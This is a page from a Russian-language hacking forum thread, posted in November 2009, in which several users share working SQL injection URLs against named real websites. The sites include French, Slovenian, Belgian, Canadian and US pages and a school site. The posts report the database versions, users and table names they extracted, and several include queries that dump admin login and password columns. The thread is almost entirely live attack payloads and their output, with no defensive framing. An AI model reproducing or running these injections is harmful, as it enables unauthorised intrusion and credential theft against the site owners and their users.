ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11271  
Старый 22.11.2009, 02:46
Аватар для F4R
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

Цитата:
http://www.ccp.si/izpis.php?id=586+UNION+SELECT+1,2,3,4,5,6,7,8,AES_ DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Datab ase(),User()),0x71),0x71),10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26+LIMIT+1,1--
Database Version: 5.0.51a-24+lenny1-log
Database name: ccp
User name: ccp@localhost

Последний раз редактировалось jokester; 22.11.2009 в 12:40.. Причина: пароли
 
Ответить с цитированием

  #11272  
Старый 22.11.2009, 12:37
Аватар для fox_malder
fox_malder
Участник форума
Регистрация: 28.11.2008
Сообщений: 281
Провел на форуме:
3193846

Репутация: 242
По умолчанию

http://www.kirghizie.fr/programme.php?id=-7%27+and+0+union+select+1,DATABASE(),3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17+--+
ultimate

http://www.kirghizie.fr/programme.php?id=-7%27+and+0+union+select+1,VERSION(),3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17+--+
5.0.84-log

http://www.kirghizie.fr/programme.php?id=-7%27+and+0+union+select+1,USER(),3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17+--+
root@localhost
 
Ответить с цитированием

  #11273  
Старый 22.11.2009, 19:51
Аватар для Bramin
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199

Репутация: 127
Отправить сообщение для Bramin с помощью ICQ
По умолчанию

http://www.vip-clinic.by/site/news.php?ID=-10+union+select+1,2,3,4,group_concat(table_name)+f rom+information_schema.tables--

ТИЦ: 10
PR: 5
 
Ответить с цитированием

  #11274  
Старый 22.11.2009, 20:06
Аватар для Sams
Sams
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме:
435863

Репутация: 80
По умолчанию

biokmetijazel-puksic.si
Код:
http://www.biokmetijazel-puksic.si/news.php?id=86+and+0+union+select+1,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),3,4,5,6,7,8,9,10,11,12+--+

Version: 5.0.45-log
User: biokmetijazel@localhost
Database: biokmetijazel
OS: Linux
Base dir: /usr/
Data dir: /var/lib/mysql/
Tmp dir: /tmp/


Таблицы:

Код:
http://www.biokmetijazel-puksic.si/news.php?id=86+and+0+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12+from+information_schema.tables+limit+0,1+--+
1. phplist_admin:
Цитата:
id
loginname
namelc
email
created
modified
modifiedby
password
passwordchanged
superuser
disabled
Код:
http://www.biokmetijazel-puksic.si/news.php?id=86+and+0+union+select+1,concat(loginname,0x3A,password),3,4,5,6,7,8,9,10,11,12+from+phplist_admin+limit+0,1+--+
2. users:
Цитата:
username
ime
password
userid
userlevel
email
timestamp
potrditev
datum
mailp
Код:
http://www.biokmetijazel-puksic.si/news.php?id=86+and+0+union+select+1,concat(username,0x3A,password),3,4,5,6,7,8,9,10,11,12+from+phplist_admin+limit+0,1+--+
 
Ответить с цитированием

  #11275  
Старый 22.11.2009, 21:13
Аватар для fox_malder
fox_malder
Участник форума
Регистрация: 28.11.2008
Сообщений: 281
Провел на форуме:
3193846

Репутация: 242
По умолчанию

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 ,43,44,45,46--

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,DATABASE(),4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46--
bienvenueapariscom

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,VERSION(),US ER(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,3 8,39,40,41,42,43,44,45,46--
5.0.67-log
flocmagny@imu176.infomaniak.ch

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,login,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46+from+phpmv_users--
дальше не стал
 
Ответить с цитированием

  #11276  
Старый 23.11.2009, 22:50
Аватар для 547
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Код:
http://www.lademence.be/pages/commentaires/news.php?action=affiche_commentaires&id=-26+union+select+1,2,unhex(hex(concat_ws(0x3a,user_id,user_level,user_pwd,user_nom,user_prenom,user_pseudo,user_email,user_post_format,user_edit_size,user_pref_cat,user_lang,user_delta,user_post_pub))),4+from+dc_user--
 
Ответить с цитированием

  #11277  
Старый 24.11.2009, 12:05
Аватар для Sams
Sams
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме:
435863

Репутация: 80
По умолчанию

d-poljane.lj.edus.si

Код:
http://www.d-poljane.lj.edus.si/klepetalnica/detail.php?pid=-100+union+select+1,convert(concat(user(),0x3A,version(),0x3A,database()),binary),3,4,5,6,7,8,9,10,11,12+--+
Version: 4.1.14
User: dd-poljane@localhost
Database: ddp
OS: portbld-freebsd 4.8
 
Ответить с цитированием

  #11278  
Старый 24.11.2009, 14:27
Аватар для hackmen
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме:
598447

Репутация: 123
По умолчанию

to Gaus

Код:
http://www.game-reviews.ca/news.php?id=1422+and+1=0+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9,10,11+from+admin--
5.0.67-standard:gamerevi_news@localhost:gamerevi_gamenews


Там есть еще данные форума

[ username,password ] from [gamerevi_gamenews.pubb2_users ]
 
Ответить с цитированием

  #11279  
Старый 24.11.2009, 14:58
Аватар для IgAlex
IgAlex
Познающий
Регистрация: 17.11.2008
Сообщений: 48
Провел на форуме:
351316

Репутация: 71
По умолчанию

Скандинавские аукционы - дырявый движок, 3 скули для примера

lockemout.com

Код:
http://lockemout.com/productdetails.php?pid=3&aid=448+union+all+select+1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83--
5.0.81-community:lmocom_bd:lmocom_bdu@localhost

biddango.com

Код:
http://biddango.com/productdetails.php?pid=10&aid=-9999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83--
5.0.85-community:biddango_auction:biddango_admin@localhos t

yayabids.com

Код:
http://yayabids.com/productdetails.php?pid=4&aid=-9999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92--
5.0.81-community:yayabids_yaya:yayabids_yaya@localhost

Последний раз редактировалось IgAlex; 24.11.2009 в 15:39..
 
Ответить с цитированием

  #11280  
Старый 24.11.2009, 15:26
Аватар для Sams
Sams
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме:
435863

Репутация: 80
По умолчанию

blueprintskateboards.com

Код:
http://www.blueprintskateboards.com/news.php?id=-1110+UNION+SELECT+1,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database())
,3,4,5,6+--+

Version: 4.1.20
User: blueprint@localhost
Database: blueprint
OS: Linux



finishing-blasting.com

Код:
http://www.finishing-blasting.com/news.php?id=-114+UNION+SELECT+1,2,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),4+--+
Version: 4.1.22-max-log
User: finishingblast@68.178.254.191
Database: finishingblast
OS: Linux



todaysgrocery.com


Код:
http://www.todaysgrocery.com/news.php?id=-0045+UNION+SELECT+1,2,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),4+--+
Version: 4.1.22-standard
User: graphici_admin@localhost
Database: graphici_grocery
OS: Linux
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ